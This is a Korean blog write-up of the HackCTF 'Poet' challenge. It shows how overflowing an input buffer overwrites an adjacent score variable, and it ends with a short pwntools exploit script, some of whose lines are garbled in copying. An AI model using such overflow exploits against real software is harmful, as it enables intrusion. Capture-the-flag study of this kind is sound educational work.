HACKCTF - Poet

2020. 9. 7. 20:52CTF's Write-up

문제 화면

 

 

해당 문제를 실행해보면

 

 

실행화면

 

이런식으로 무언가 1,000,000점수를 획득해야한다네요.

ida로 코드를 확인해보면

 

 

ida main

 

ida poem

 

ida author

 

ida rate_poem

 

rete_poem 함수를 보면 poem에 입력받았던 문자중에 해당 단어가 있을경우 100점을 주는 제도인데, 예를들어 CTF를 1000000번 입력하게되면 풀리겠지만, poem버퍼가 400이라

 

poem size

 

넘어 가서 해당 방식으로 풀면 안되겠다고 생각했습니다.

우리의 궁극적은 목표가 점수를 1,000,000으로 만드는것이기에 해당 버퍼를 1,000,000으로 덮는 방법으로 진행해보겠습니다.

 

author

 

author의 이 변수가

 

author

 

이 위치에 있고.

 

rate poem

 

rate poem 의 점수 변수가

 

점수

 

이 위치에 있으니 이 차를 구해서 dummy를 채워주고, 1,000,000을 넣어주면 됩니다.

이를 코드를 작성하면 다음과 같습니다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3012)
#r = process("./poet")
= ELF("./poet")
context.log_level = "debug"
score = 0x00000000006024E0-0x00000000006024A0
 
log.info("Score = " + str(score))
 
r.recvuntil("> ")
r.sendline("pass")
 
payload = ""
payload += "A"*score
payload += p64(1000000)
 
r.recvuntil("> ")
r.sendline(payload)
 
r.interactive()
cs

 

실행하면 

 

 

flag획득

 

flag를 획득할 수 있습니다.

'CTF's Write-up' 카테고리의 다른 글

[보호]HACKCTF - LOL  (0) 2020.09.09
HACKCTF - Random Key  (0) 2020.09.08
HACKCTF - Let'S get it ! Boo*4  (0) 2020.09.07
HackCTF - Unexploitable #2  (0) 2020.09.06
HACKCTF - Handray  (0) 2020.09.03